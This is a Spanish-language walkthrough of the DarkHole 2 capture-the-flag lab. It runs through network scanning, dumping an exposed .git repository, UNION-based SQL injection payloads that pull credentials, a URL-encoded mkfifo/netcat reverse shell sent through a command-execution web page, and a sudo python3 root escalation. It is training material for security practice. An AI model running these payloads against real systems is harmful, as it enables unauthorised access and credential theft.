DarkHole 2

Enumeration

Vamos a empezar escaneando la red local:

┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ sudo arp-scan -I eth0 --localnet
[sudo] password for pylon:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:9e:99:b0, IPv4: 192.168.64.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.64.1    00:50:56:c0:00:08       VMware, Inc.
192.168.64.2    00:50:56:fb:55:46       VMware, Inc.
192.168.64.129  00:0c:29:95:1b:eb       VMware, Inc.
192.168.64.254  00:50:56:ed:c4:96       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.922 seconds (133.19 hosts/sec). 4 responded

Por la direción MAC identifico la IP de la máquina que es la 192.168.64.129. Ahora vamos a realizar un escaneo de puertos con nmap:

┌──(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/nmap]
└─$ nmap -p- --open -sS -n -Pn -vvv 192.168.64.129 -oG ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 13:18 CEST
Initiating ARP Ping Scan at 13:18
Scanning 192.168.64.129 [1 port]
Completed ARP Ping Scan at 13:18, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:18
Scanning 192.168.64.129 [65535 ports]
Discovered open port 80/tcp on 192.168.64.129
Discovered open port 22/tcp on 192.168.64.129
Completed SYN Stealth Scan at 13:18, 0.97s elapsed (65535 total ports)
Nmap scan report for 192.168.64.129
Host is up, received arp-response (0.00060s latency).
Scanned at 2025-07-01 13:18:21 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:95:1B:EB (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Vemos que tiene el puerto 22 y 80 abierto, vamos a realizar un segundo escaneo para identificar que servicios y versiones están corriendo:

# Nmap 7.95 scan initiated Tue Jul  1 13:19:34 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sCV -oN target 192.168.64.129
Nmap scan report for 192.168.64.129
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-git:
|   192.168.64.129:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure
|_http-title: DarkHole V2
MAC Address: 00:0C:29:95:1B:EB (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  1 13:19:40 2025 -- 1 IP address (1 host up) scanned in 6.53 seconds

Vemos lo siguiente:

PuertoInformación
22/tcpOpenSSH 8.2p1 Ubuntu
80/tcpApache httpd 2.4.41 / Nos reporta que a encontrado el directorio .git .

Al ver que esta expuesto la carpeta .git decido dumpearla con git-dumper :

┌──(venv)(pylon㉿kali)-[~/…/pylon/Vulnhub/DarkHole2/content]
└─$ git-dumper http://192.168.64.129/.git/ git
[-] Testing http://192.168.64.129/.git/HEAD [200]
[-] Testing http://192.168.64.129/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.64.129/.git/ [200]
[-] Fetching http://192.168.64.129/.gitignore [404]
[-] Fetching http://192.168.64.129/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.168.64.129/.git/HEAD [200]
[-] Fetching http://192.168.64.129/.git/config [200]
[-] Fetching http://192.168.64.129/.git/info/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/ [200]
[-] Fetching http://192.168.64.129/.git/logs/ [200]
[-] Fetching http://192.168.64.129/.git/info/exclude [200]
[-] Fetching http://192.168.64.129/.git/description [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ [200]
[-] Fetching http://192.168.64.129/.git/index [200]
[-] Fetching http://192.168.64.129/.git/refs/ [200]
[-] Fetching http://192.168.64.129/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/HEAD [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/update.sample [200]
[-] Fetching http://192.168.64.129/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/04/ [200]
[-] Fetching http://192.168.64.129/.git/refs/tags/ [200]
[-] Fetching http://192.168.64.129/.git/objects/09/ [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/ [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/ [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ [200]
[-] Fetching http://192.168.64.129/.git/objects/32/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/ [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/ [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/ [200]
[-] Fetching http://192.168.64.129/.git/objects/66/ [200]
[-] Fetching http://192.168.64.129/.git/objects/49/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/93/ [200]
[-] Fetching http://192.168.64.129/.git/objects/59/ [200]
[-] Fetching http://192.168.64.129/.git/objects/77/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/ [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/56/ [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/ [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/ [200]
[-] Fetching http://192.168.64.129/.git/objects/pack/ [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/ [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/ [200]
[-] Fetching http://192.168.64.129/.git/objects/info/ [200]
[-] Fetching http://192.168.64.129/.git/objects/8b/6cd9032d268332de09c64cbe9efa63ace3998e [200]
[-] Fetching http://192.168.64.129/.git/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/04/4d8b4fec000778de9fb27726de4f0f56edbd0e [200]
[-] Fetching http://192.168.64.129/.git/objects/4e/b24de5b85be7cf4b2cef3f0cfc83b09a236133 [200]
[-] Fetching http://192.168.64.129/.git/objects/6e/4328f5f878ed20c0b68fc8bda2133deadc49a3 [200]
[-] Fetching http://192.168.64.129/.git/objects/32/580f7fb8c39cdad6a7f49839cebfe07f597bcf [200]
[-] Fetching http://192.168.64.129/.git/objects/32/d0928f948af8252b0200ff9cac40534bfe230b [200]
[-] Fetching http://192.168.64.129/.git/logs/refs/heads/master [200]
[-] Fetching http://192.168.64.129/.git/objects/8a/0ff67b07eb0cc9b7bed4f9094862c22cab2a7d [200]
[-] Fetching http://192.168.64.129/.git/objects/7f/d95a2f170cb55fbb335a56974689f659e2c383 [200]
[-] Fetching http://192.168.64.129/.git/objects/09/04b1923584a0fb0ab31632de47c520db6a6e21 [200]
[-] Fetching http://192.168.64.129/.git/objects/66/5001d05a7c0b6428ce22de1ae572c54cba521d [200]
[-] Fetching http://192.168.64.129/.git/objects/a2/0488521df2b427246c0155570f5bfad6936c6c [200]
[-] Fetching http://192.168.64.129/.git/objects/77/c09cf4b905b2c537f0a02bca81c6fbf32b9c9d [200]
[-] Fetching http://192.168.64.129/.git/objects/49/151b46cc957717f5529d362115339d4abfe207 [200]
[-] Fetching http://192.168.64.129/.git/objects/9d/ed9bf70f1f63a852e9e4f02df7b6d325e95c67 [200]
[-] Fetching http://192.168.64.129/.git/objects/93/9b9aad671e5bcde51b4b5d99b1464e2d52ceaa [200]
[-] Fetching http://192.168.64.129/.git/objects/56/987e1f75e392aae416571b38b53922c49f6e7e [200]
[-] Fetching http://192.168.64.129/.git/objects/59/218997bfb0d8012a918e43bea3e497e68248a9 [200]
[-] Fetching http://192.168.64.129/.git/objects/b6/f546da0ab9a91467412383909c8edc9859a363 [200]
[-] Fetching http://192.168.64.129/.git/objects/b2/076545503531a2e482a89b84f387e5d44d35c0 [200]
[-] Fetching http://192.168.64.129/.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391 [200]
[-] Fetching http://192.168.64.129/.git/objects/ca/f37015411ad104985c7dd86373b3a347f71097 [200]
[-] Fetching http://192.168.64.129/.git/objects/a4/d900a8d85e8938d3601f3cef113ee293028e10 [200]
[-] Fetching http://192.168.64.129/.git/objects/0f/1d821f48a9cf662f285457a5ce9af6b9feb2c4 [200]
[-] Fetching http://192.168.64.129/.git/objects/c9/56989b29ad0767edc6cf3a202545927c3d1e76 [200]
[-] Fetching http://192.168.64.129/.git/objects/c1/ef127486aa47cd0b3435bca246594a43b559bb [200]
[-] Fetching http://192.168.64.129/.git/objects/aa/2a5f3aa15bb402f2b90a07d86af57436d64917 [200]
[-] Sanitizing .git/config
[-] Running git checkout .

Bien ya teniendo esta información, antes de seguir con ella vamos a buscar otra, vamos a ver la aplicación web:

Podemos ver que tiene un Login , vamos a intentar credenciales básicas:

Se ve que pide de un correo electronico, vamos a probar en el campo de la contraseña añadir una ' a ver si sucede algo fuera de lo normal:

Sigue exactamente igual… En la web no hay gran cosa, así que vamos a ver el git:

Vamos a ver el login.php para ver si hay algo mal configurado y que podamos abusar de el:

<?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
    $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
    if($check->num_rows){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

}
?>

<link rel="stylesheet" href="style/login.css">
<head>
    <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="Project_1.css">
    <title>Home</title>
</head>

<body>

<div class="container">
    <h1>👋 Welcome</h1>
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html"><h1>Sign In</h1></a> -->
    <!-- <a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html">  <h1>Log In</h1></a> -->
    <form action="" method="post">
    <div class="box">
        <i  class="fas fa-envelope"></i>
        <input type="email" name="email" id="email"  placeholder="Enter Your Email" required>
    </div>
    <div class="box">
        <i  class="fas fa-key"></i>
        <input type="password" name="password" id="password" placeholder="Enter Your Password" required>
    </div>
        <button id="btn" name="button">Login</button>
    </form>


</div>

</body>

Viendo las primeras lineas del código veo que incluye el archivo config.php que se encuentra en el directorio config. Vamos a darle un ojo:

<?php
$connect = new mysqli("localhost","root","","darkhole_2");
[..]

Tenemos unas credenciales:

UsernamePassword
rootdarkhole_2

En este caso son las credenciales de acceso a la base de datos, esto nos está chivando que el usuario empleado es root con una posibilidad de tener super privilegios en la base de datos y poder realizar muchas acciones abusando de los privilegios. Pero primero necesitamos encontrar un SQLi . En el código vemos lo que hace con nuestro input:

[..]
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
[..]

Vemos que nos sanitiza la entrada con mysqli_real_escape_string así que por aquí no puede a ver un SQLi. Vamos a ver los logs del .git:

┌──(venv)(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git]
└─$ git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

    First Initialize

Shell as jehad

Vemos varios logs, donde en 1 vemos un correo electrónico → anmar-v7@hotmail.com. Vamos a ver que se realizó en ese log ya que comenta que añadio cosas en el login.php:

┌──(venv)(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/content/git]                                                                                                                    13:31:42 [2/2]
└─$ git show a4d900a8d85e8938d3601f3cef113ee293028e10
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+        $_SESSION['userid'] = 1;
+        header("location:dashboard.php");
+        die();
+    }
+
+}
+?>
+
+<link rel="stylesheet" href="style/login.css">
+<head>
+    <script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous"></script>
+    <link rel="stylesheet" href="Project_1.css">
+    <title>Home</title>

Vemos otras credenciales:

UsernamePassword
rootdarkhole_2
lush@admin.com321

Vemos que esto estaba en el login.php, vamos a ver si son válidas:

Bien!! Me estoy finjando en un detalle que es el parámetro por GET id , vamos a probar a poner una comilla simple:

Vemos que la aplicación no carga. vamos a ver que código de estado devuelve:

Vamos a emplear ORDER BY para filtrar por un número de columnas hasta encontrar el exacto:

  • ' order by 100-- -:

Era poco probable, vamos a bajarlo a 10:

Nada… vamos a ir probando 9,8,7… hasta que de otro código de estado:

Vemos que con 6 funciona, para probar vamos a poner 7:

Vale, ya conocemos el número exacto de columnas que tiene la tabla. Vamos a emplear UNION para ver si se reflejan los “datos basura":

' union select 1,2,3,4,5,6-- -

Vemos que no… Ya que hay datos existentes y se reflejan primero. Vamos a probar a ir a id=2:

Vemos que aquí ya no hay datos, vamos a probar el UNION:

Vemos que se relfjan las columnas 2,3,5,6 y las columnas 1,4 no. Trabajaremos en la columna 2 ya que se refleja. Vamos a confirmar que el usuario que esta conectado a la db es root con la función user():

' union select 1,user(),3,4,5,6-- -

Vamos a ver si tenemos super privilegios en la base de datos, para ello usaremos la base de datos mysql y la tabla user apuntando a la columna super_priv:

' union select 1,super_priv,3,4,5,6 from mysql.user-- -

En este caso nos dice que Y que significa Yes así que tenemos super privilegios en la base de datos. Vamos a intentar enumerar los privilegios que tenemos:

' union select 1,grantee,privilege_type,4,5,6 from information_schema.user_privileges-- -

Podemos fijarnos en 2 problemas:

  1. No vemos todos los resultados solo muestra la primera fila.
  2. Estamos viendo los privilegios de otro usuario al que no estamos interesados

Para ver todos los resultados vamos a usar group_concat() que lo que hace es concatenar todas las filas en 1:

' union select 1,group_concat(grantee),3,4,group_concat(privilege_type),6 from information_schema.user_privileges where grantee="'root'@'localhost'"-- -

Pero no nos mostrará nada. Vamos a enumerar la base de datos:

' union select 1,schema_name,3,4,5,6 from information_schema.schemata-- -

Vemos solo mysql y es raro, vamos a usar group_concat:

' union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata-- -

Vemos la base de datos darkhole_2, vamos a ver que db esta empleando actualmente:

' union select 1,database(),3,4,5,6-- -

Vale, vamos a enumerar que tablas tiene la base de datos darkhole_2:

' union select 1,group_concat(table_name),3,4,group_concat(table_schema),6 from information_schema.tables where table_schema='darkhole_2'-- -

Existen 2 tablas:

  • users
  • ssh Vamos a ver la tabla users a ver que columnas contiene:
' union select 1,group_concat(column_name),3,4,group_concat(table_name),group_concat(table_schema) from information_schema.columns where table_name='users' and table_schema='darkhole_2'-- -

Vemos las siguientes columnas:

  • address
  • contact_number
  • email
  • id
  • password
  • username
' union select 1,username,3,4,password,6 from darkhole_2.users-- -

Vemos ya las credenciales obtenidas anteriormente por los logs de git. Vamos a ver las columnas de la otra tabla llamada ssh:

' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='ssh' and table_schema='darkhole_2'-- -

Vamos a ver el contenido de esas columnas:

' union select 1,group_concat(user),3,4,group_concat(pass),6 from darkhole_2.ssh-- -

Tenemos la siguientes credenciales:

UsernamePasswordServicio
rootdarkhole_2mysql
lush@admin.com321login (http)
jehadfoolssh

Vamos a probar las credenciales por SSH:

┌──(pylon㉿kali)-[~/…/Vulnhub/DarkHole2/nmap/git]
└─$ ssh jehad@192.168.64.129
jehad@192.168.64.129's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 01 Jul 2025 06:13:39 PM UTC

  System load:  0.01               Processes:              233
  Usage of /:   49.9% of 12.73GB   Users logged in:        0
  Memory usage: 20%                IPv4 address for ens33: 192.168.64.129
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Sep  3 05:49:05 2021 from 192.168.135.128
jehad@darkhole:~$

Shell as losy

Vamos a ver el .bash_history de nuestro usuario actual jehad:

jehad@darkhole:~$ cat .bash_history
[..]
curl http://localhost:9999
curl "http://localhost:999/?cmd=id"
curl "http://localhost:9999/?cmd=id"
curl http://localhost:9999/
[..]

Vemos que ha realizado peticiones por GET al puerto 9999 que estaría corriendo en localhost, vamos a comprobar si sigue activo:

jehad@darkhole:~$ ss -anot
State              Recv-Q             Send-Q                          Local Address:Port                              Peer Address:Port              Process
LISTEN             0                  151                                 127.0.0.1:3306                                   0.0.0.0:*
LISTEN             0                  4096                                127.0.0.1:9999                                   0.0.0.0:*
LISTEN             0                  4096                            127.0.0.53%lo:53                                     0.0.0.0:*
LISTEN             0                  128                                   0.0.0.0:22                                     0.0.0.0:*
LISTEN             0                  70                                  127.0.0.1:33060                                  0.0.0.0:*
ESTAB              0                  0                              192.168.64.129:22                              192.168.64.128:48028              timer:(keepalive,117min,0)
LISTEN             0                  511                                         *:80                                           *:*
LISTEN             0                  128                                      [::]:22                                        [::]:*

Sigue activo, vamos a enviarle un petición con curl:

jehad@darkhole:~$ curl localhost:9999
Parameter GET['cmd']

Vemos que espera un parámetro por GET llamado cmd, vamos a enviarselo con un valor de un comando del sistema como id, ya que normalmente el parámetro cmd se emplea para ejecutar comandos a nivel de sistema:

jehad@darkhole:~$ curl localhost:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)

Vemos que lo ejecuta como el usuario losy, vamos a ponernos en escucha en otra shell por ssh ya que esto corre por su localhost y no llegará a nuestra máquina, vamos a ver si tiene nc:

jehad@darkhole:~$ nc
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
          [-m minttl] [-O length] [-P proxy_username] [-p source_port]
          [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
          [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]

Bien nos pondremos en escucha en el puerto 8081:

jehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081

Ahora enviaremos la reverse shell sacada de Online - Reverse Shell Generator:

jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20127.0.0.1%208081%20%3E%2Ftmp%2Ff"

Ahora veremos si se estableció conexión:

jehad@darkhole:~$ nc -nlvp 8081
Listening on 0.0.0.0 8081
Connection received on 127.0.0.1 34774
sh: 0: can't access tty; job control turned off
$

Bien! Pongamos whoami para ver si somos losy:

$ whoami
losy

Vemos que estamos en el directorio /opt/web donde vemos un index.php:

losy@darkhole:/opt/web$ cat index.php
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

Ahí vemos que recoje el valor del parámetro por GET y ejecuta como comando del sistema con system.

Shell as root

Vamos a ver el .bash_history del usuario losy:

UsernamePasswordServicio
rootdarkhole_2mysql
lush@admin.com321login (http)
jehadfoolssh
losygang

Ahora vamos a hacer un sudo -l:

losy@darkhole:~$ sudo -l
[sudo] password for losy:
Matching Defaults entries for losy on darkhole:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3

Lo que haremos es ejecutar python3 como root e importar la libreria os:

losy@darkhole:~$ sudo python3 -c "import os; os.system('id')"
uid=0(root) gid=0(root) groups=0(root)
losy@darkhole:~$ sudo python3 -c "import os; os.system('/bin/bash')"
root@darkhole:/home/losy# whoami
root

root! ;)